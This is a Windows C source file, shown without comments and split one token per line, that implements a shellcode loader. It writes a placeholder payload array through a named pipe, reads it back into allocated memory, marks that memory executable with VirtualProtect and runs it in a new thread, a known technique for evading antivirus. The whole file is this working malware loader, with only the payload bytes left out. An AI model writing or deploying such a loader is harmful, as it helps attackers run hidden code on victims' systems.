unsigned
char
data[] = { xxxx };
DWORD
WINAPI StartAddress(
LPVOID
lpThreadParameter)
{
return
((
int
(__stdcall *)(
LPVOID
))lpThreadParameter)(lpThreadParameter);
}
bool
pipClient(
LPVOID
lpBuffer,
DWORD
nNumberOfBytesToRead)
{
DWORD
offset = 0;
DWORD
readSize = 0;
HANDLE
hFile = CreateFileA(
"\\\\.\\xxx\\yyy"
, 0x80000000, 3u, 0, 3u, 0x80u, 0);
if
(hFile!=INVALID_HANDLE_VALUE)
{
while
(nNumberOfBytesToRead>0)
{
BOOL
ret=ReadFile(hFile, ((
char
*)lpBuffer + offset), nNumberOfBytesToRead, &readSize, NULL);
if
(!ret)
{
break
;
}
nNumberOfBytesToRead -= readSize;
offset += readSize;
}
CloseHandle(hFile);
}
return
nNumberOfBytesToRead == 0;
}
bool
pipServer(
LPCVOID
lpBuffer,
DWORD
nNumberOfBytesToWrite)
{
DWORD
offset = 0;
DWORD
writeSize = 0;
HANDLE
hFile = CreateNamedPipeA(
"\\\\.\\xxx\\yyy"
, 2u, 0, 1u, 0, 0, 0, 0);
if
(hFile != INVALID_HANDLE_VALUE)
{
if
(ConnectNamedPipe(hFile, 0))
{
while
(nNumberOfBytesToWrite>0)
{
BOOL
ret = WriteFile(hFile, ((
char
*)lpBuffer + offset), nNumberOfBytesToWrite, &writeSize, NULL);
if
(!ret)
{
break
;
}
nNumberOfBytesToWrite -= writeSize;
offset += writeSize;
}
CloseHandle(hFile);
}
}
return
nNumberOfBytesToWrite == 0;
}
DWORD
WINAPI PipWrite(
LPVOID
)
{
pipServer(data,
sizeof
(data));
return
0;
}
int
main(
int
argc, _TCHAR* argv[])
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PipWrite, NULL, 0, NULL);
Sleep(600);
char
*buff = (
char
*)VirtualAlloc(0,
sizeof
(data), 0x3000u, 4u);
pipClient(buff,
sizeof
(data));
DWORD
flOldProtect = 0;
VirtualProtect(buff,
sizeof
(data), 0x20u, &flOldProtect);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, buff, 0, 0);
while
(
true
)
{
Sleep(1000);
}
return
0;
}